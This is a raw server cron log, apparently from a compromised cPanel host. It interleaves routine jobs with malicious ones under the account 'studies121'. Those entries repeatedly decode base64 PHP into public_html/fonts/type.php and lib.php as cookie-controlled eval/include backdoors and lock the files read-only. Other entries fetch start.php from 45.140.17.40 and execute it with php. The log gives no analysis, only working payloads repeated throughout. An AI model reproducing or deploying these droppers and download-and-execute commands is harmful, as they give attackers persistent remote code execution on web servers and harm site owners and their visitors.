Aug 31 12:16:01 ip-184-168-122-23 CROND[28946]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 12:16:01 ip-184-168-122-23 CROND[28948]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 12:16:01 ip-184-168-122-23 CROND[28950]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 12:16:01 ip-184-168-122-23 CROND[28951]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 12:16:01 ip-184-168-122-23 CROND[28953]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 12:16:01 ip-184-168-122-23 CROND[28949]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 12:17:01 ip-184-168-122-23 CROND[29109]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 12:17:01 ip-184-168-122-23 CROND[29110]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 12:17:01 ip-184-168-122-23 CROND[29114]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 12:17:01 ip-184-168-122-23 CROND[29112]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 12:18:01 ip-184-168-122-23 CROND[29302]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 12:18:01 ip-184-168-122-23 CROND[29303]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 12:18:01 ip-184-168-122-23 CROND[29304]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 12:18:01 ip-184-168-122-23 CROND[29305]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 12:18:01 ip-184-168-122-23 CROND[29307]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 12:19:01 ip-184-168-122-23 CROND[29407]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 12:19:01 ip-184-168-122-23 CROND[29409]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 12:19:01 ip-184-168-122-23 CROND[29410]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 12:19:01 ip-184-168-122-23 CROND[29411]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 12:20:01 ip-184-168-122-23 CROND[29531]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 12:20:02 ip-184-168-122-23 CROND[29533]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 12:20:02 ip-184-168-122-23 CROND[29538]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 12:20:02 ip-184-168-122-23 CROND[29537]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 12:20:02 ip-184-168-122-23 CROND[29536]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 12:20:02 ip-184-168-122-23 CROND[29539]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 12:20:02 ip-184-168-122-23 CROND[29535]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 12:20:02 ip-184-168-122-23 CROND[29540]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 12:20:02 ip-184-168-122-23 CROND[29534]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 12:21:01 ip-184-168-122-23 CROND[29660]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 12:21:01 ip-184-168-122-23 CROND[29662]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 12:21:01 ip-184-168-122-23 CROND[29665]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 12:21:01 ip-184-168-122-23 CROND[29663]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 12:22:02 ip-184-168-122-23 CROND[29767]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 12:22:02 ip-184-168-122-23 CROND[29771]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 12:22:02 ip-184-168-122-23 CROND[29769]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 12:22:02 ip-184-168-122-23 CROND[29768]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 12:22:02 ip-184-168-122-23 CROND[29770]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 12:23:01 ip-184-168-122-23 CROND[29909]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 12:23:01 ip-184-168-122-23 CROND[29910]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 12:23:01 ip-184-168-122-23 CROND[29911]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 12:23:01 ip-184-168-122-23 CROND[29917]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 12:24:01 ip-184-168-122-23 CROND[30121]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 12:24:01 ip-184-168-122-23 CROND[30123]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 12:24:01 ip-184-168-122-23 CROND[30124]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 12:24:01 ip-184-168-122-23 CROND[30126]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 12:24:01 ip-184-168-122-23 CROND[30127]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 12:25:01 ip-184-168-122-23 CROND[30323]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 12:25:01 ip-184-168-122-23 CROND[30324]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 12:25:01 ip-184-168-122-23 CROND[30325]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 12:25:01 ip-184-168-122-23 CROND[30330]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Aug 31 12:25:01 ip-184-168-122-23 CROND[30327]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 12:25:01 ip-184-168-122-23 CROND[30328]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 12:25:01 ip-184-168-122-23 CROND[30329]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 12:26:01 ip-184-168-122-23 CROND[30493]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 12:26:01 ip-184-168-122-23 CROND[30496]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 12:26:01 ip-184-168-122-23 CROND[30498]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 12:26:01 ip-184-168-122-23 CROND[30495]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 12:26:01 ip-184-168-122-23 CROND[30497]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 12:27:01 ip-184-168-122-23 CROND[30726]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 12:27:01 ip-184-168-122-23 CROND[30728]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 12:27:01 ip-184-168-122-23 CROND[30727]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 12:27:01 ip-184-168-122-23 CROND[30729]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 12:28:01 ip-184-168-122-23 CROND[30889]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
